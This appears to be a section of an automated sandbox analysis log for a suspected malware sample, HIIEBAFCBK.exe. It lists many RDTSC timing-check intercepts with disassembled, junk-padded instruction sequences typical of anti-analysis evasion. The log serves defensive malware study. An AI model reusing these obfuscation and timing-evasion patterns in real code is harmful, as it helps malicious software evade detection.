Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C043B second address: 50C048C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F473118FE60h 0x00000011 test edx, 61000000h 0x00000017 pushad 0x00000018 pushad 0x00000019 mov bx, ax 0x0000001c mov bh, ch 0x0000001e popad 0x0000001f jmp 00007F473118FE65h 0x00000024 popad 0x00000025 jne 00007F47A2FEE05Eh 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C048C second address: 50C0490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0490 second address: 50C0494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0494 second address: 50C049A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C049A second address: 50C04A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C04A0 second address: 50C04C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [esi+48h], 00000001h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov eax, edx 0x00000014 mov edx, 26DB8FCCh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C04C1 second address: 50C0501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 55h 0x00000005 pushfd 0x00000006 jmp 00007F473118FE5Dh 0x0000000b sub al, FFFFFFA6h 0x0000000e jmp 00007F473118FE61h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 jne 00007F47A2FEE00Bh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F473118FE5Dh 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0501 second address: 50C0507 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0507 second address: 50C050B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0817 second address: 50B081E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B081E second address: 50B0824 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0824 second address: 50B0872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f jmp 00007F47311907AEh 0x00000014 mov ch, B3h 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 jmp 00007F47311907ADh 0x0000001e and esp, FFFFFFF8h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F47311907ADh 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0872 second address: 50B0878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0878 second address: 50B087C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B087C second address: 50B088F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edi, 60A33764h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B088F second address: 50B0894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0894 second address: 50B089A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B089A second address: 50B089E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B089E second address: 50B08A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B08A2 second address: 50B08BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F47311907ADh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B08BC second address: 50B08DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov eax, 72466619h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B08DA second address: 50B0926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F47311907B2h 0x0000000e movzx esi, bx 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F47311907B8h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0926 second address: 50B0968 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F473118FE66h 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F473118FE67h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0968 second address: 50B09AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b pushad 0x0000000c mov di, 2940h 0x00000010 mov dh, 99h 0x00000012 popad 0x00000013 test esi, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F47311907B7h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B09AA second address: 50B0A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F473118FE5Fh 0x00000009 and si, 23CEh 0x0000000e jmp 00007F473118FE69h 0x00000013 popfd 0x00000014 mov eax, 1FBA81D7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c je 00007F47A2FF5800h 0x00000022 jmp 00007F473118FE5Ah 0x00000027 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0A01 second address: 50B0A3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F47311907B2h 0x00000008 mov di, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ecx, esi 0x00000010 pushad 0x00000011 mov cx, 9BF9h 0x00000015 popad 0x00000016 je 00007F47A2FF6125h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F47311907AEh 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0A3A second address: 50B0AA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FA6968h], 00000002h 0x00000010 pushad 0x00000011 push esi 0x00000012 pushfd 0x00000013 jmp 00007F473118FE5Bh 0x00000018 adc ecx, 3A33394Eh 0x0000001e jmp 00007F473118FE69h 0x00000023 popfd 0x00000024 pop eax 0x00000025 mov si, di 0x00000028 popad 0x00000029 jne 00007F47A2FF5789h 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F473118FE66h 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0AA1 second address: 50B0AE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F47311907B1h 0x00000009 or si, 66E6h 0x0000000e jmp 00007F47311907B1h 0x00000013 popfd 0x00000014 mov dx, si 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov edx, dword ptr [ebp+0Ch] 0x0000001d pushad 0x0000001e mov dl, al 0x00000020 mov bl, 62h 0x00000022 popad 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0AE3 second address: 50B0AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50B0AE7 second address: 50B0AED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0EE0 second address: 50C0EF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F473118FE5Fh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0EF5 second address: 50C0F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F47311907B4h 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F47311907B7h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0F2B second address: 50C0FBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov ebx, eax 0x0000000f pushfd 0x00000010 jmp 00007F473118FE66h 0x00000015 or si, 3A28h 0x0000001a jmp 00007F473118FE5Bh 0x0000001f popfd 0x00000020 popad 0x00000021 pushfd 0x00000022 jmp 00007F473118FE68h 0x00000027 sub cx, EC88h 0x0000002c jmp 00007F473118FE5Bh 0x00000031 popfd 0x00000032 popad 0x00000033 pop ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F473118FE65h 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0D49 second address: 50C0D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0D4F second address: 50C0D9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F473118FE63h 0x00000015 sbb cx, 0B7Eh 0x0000001a jmp 00007F473118FE69h 0x0000001f popfd 0x00000020 mov edi, eax 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0D9C second address: 50C0DE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 mov bx, 6CEAh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov di, ax 0x00000011 movzx ecx, dx 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F47311907B5h 0x0000001b mov ebp, esp 0x0000001d jmp 00007F47311907AEh 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov edi, 6C45B820h 0x0000002b push edi 0x0000002c pop ecx 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0DE3 second address: 50C0DF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F473118FE61h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50C0DF8 second address: 50C0DFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5140611 second address: 5140667 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f mov dx, ax 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F473118FE5Ch 0x0000001c sbb ecx, 73E61118h 0x00000022 jmp 00007F473118FE5Bh 0x00000027 popfd 0x00000028 pushad 0x00000029 mov ax, 2165h 0x0000002d mov dx, cx 0x00000030 popad 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5140667 second address: 514066B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 514066B second address: 5140671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 51308C0 second address: 51308D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907ACh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 51308D0 second address: 51308D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 51307EB second address: 5130826 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F47311907ACh 0x00000008 xor eax, 0D6DC6F8h 0x0000000e jmp 00007F47311907ABh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F47311907B4h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5130826 second address: 5130886 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F473118FE64h 0x00000011 sbb eax, 7D3F2BB8h 0x00000017 jmp 00007F473118FE5Bh 0x0000001c popfd 0x0000001d mov di, ax 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 pushad 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 call 00007F473118FE5Ch 0x0000002c pop eax 0x0000002d popad 0x0000002e mov si, bx 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov esi, 42AB0265h 0x0000003b mov ebx, esi 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D027C second address: 50D02BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dx, si 0x0000000e mov edi, eax 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov si, 7D8Dh 0x00000019 pushfd 0x0000001a jmp 00007F47311907AAh 0x0000001f sbb al, FFFFFFA8h 0x00000022 jmp 00007F47311907ABh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50D02BC second address: 50D02C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5130B85 second address: 5130B8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 7A72h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 5130B8E second address: 5130BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov ebx, 2E4EDA58h 0x0000000f pushfd 0x00000010 jmp 00007F473118FE61h 0x00000015 or ecx, 12E14F46h 0x0000001b jmp 00007F473118FE61h 0x00000020 popfd 0x00000021 popad 0x00000022 push dword ptr [ebp+0Ch] 0x00000025 pushad 0x00000026 call 00007F473118FE5Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0607 second address: 50E060C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E060C second address: 50E0612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0612 second address: 50E0620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0620 second address: 50E0626 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0626 second address: 50E0668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F47311907B0h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov cx, 94ADh 0x00000018 mov esi, 7498CEA9h 0x0000001d popad 0x0000001e push FFFFFFFEh 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F47311907AEh 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0668 second address: 50E066C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E066C second address: 50E0672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0672 second address: 50E0717 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 1B829DD3h 0x0000000e pushad 0x0000000f push edx 0x00000010 mov ecx, 6CFB32F9h 0x00000015 pop ecx 0x00000016 push ebx 0x00000017 mov edx, ecx 0x00000019 pop esi 0x0000001a popad 0x0000001b xor dword ptr [esp], 6D7A5DCBh 0x00000022 pushad 0x00000023 mov eax, edx 0x00000025 popad 0x00000026 call 00007F473118FE59h 0x0000002b pushad 0x0000002c mov ax, 94DDh 0x00000030 push esi 0x00000031 pushfd 0x00000032 jmp 00007F473118FE69h 0x00000037 add ch, 00000026h 0x0000003a jmp 00007F473118FE61h 0x0000003f popfd 0x00000040 pop ecx 0x00000041 popad 0x00000042 push eax 0x00000043 jmp 00007F473118FE5Eh 0x00000048 mov eax, dword ptr [esp+04h] 0x0000004c jmp 00007F473118FE5Bh 0x00000051 mov eax, dword ptr [eax] 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F473118FE64h 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0717 second address: 50E07C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F47311907B1h 0x00000009 add esi, 62B70096h 0x0000000f jmp 00007F47311907B1h 0x00000014 popfd 0x00000015 mov si, 4107h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jmp 00007F47311907ADh 0x00000025 pop eax 0x00000026 pushad 0x00000027 mov bx, ax 0x0000002a pushfd 0x0000002b jmp 00007F47311907B8h 0x00000030 or si, 2B18h 0x00000035 jmp 00007F47311907ABh 0x0000003a popfd 0x0000003b popad 0x0000003c mov eax, dword ptr fs:[00000000h] 0x00000042 jmp 00007F47311907B6h 0x00000047 nop 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F47311907B7h 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E07C2 second address: 50E07C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E07C7 second address: 50E085D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F47311907B3h 0x00000010 mov si, 917Fh 0x00000014 pop eax 0x00000015 popad 0x00000016 nop 0x00000017 jmp 00007F47311907ABh 0x0000001c sub esp, 1Ch 0x0000001f pushad 0x00000020 mov dh, cl 0x00000022 mov si, dx 0x00000025 popad 0x00000026 push esi 0x00000027 pushad 0x00000028 mov ecx, 18311675h 0x0000002d push eax 0x0000002e push edx 0x0000002f pop esi 0x00000030 pop ebx 0x00000031 popad 0x00000032 mov dword ptr [esp], ebx 0x00000035 jmp 00007F47311907B8h 0x0000003a xchg eax, esi 0x0000003b jmp 00007F47311907B0h 0x00000040 push eax 0x00000041 jmp 00007F47311907ABh 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F47311907B5h 0x0000004e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E085D second address: 50E0863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0863 second address: 50E0894 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F47311907B5h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E0894 second address: 50E08A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F473118FE5Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E08A4 second address: 50E08A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E08A8 second address: 50E08D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F473118FE5Eh 0x0000000e xchg eax, edi 0x0000000f pushad 0x00000010 jmp 00007F473118FE5Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 mov bx, cx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: 50E09DE second address: 50E0A3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F47A2F5FADBh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F47311907B3h 0x00000018 sbb si, 37EEh 0x0000001d jmp 00007F47311907B9h 0x00000022 popfd 0x00000023 jmp 00007F47311907B0h 0x00000028 popad 0x00000029 rdtsc
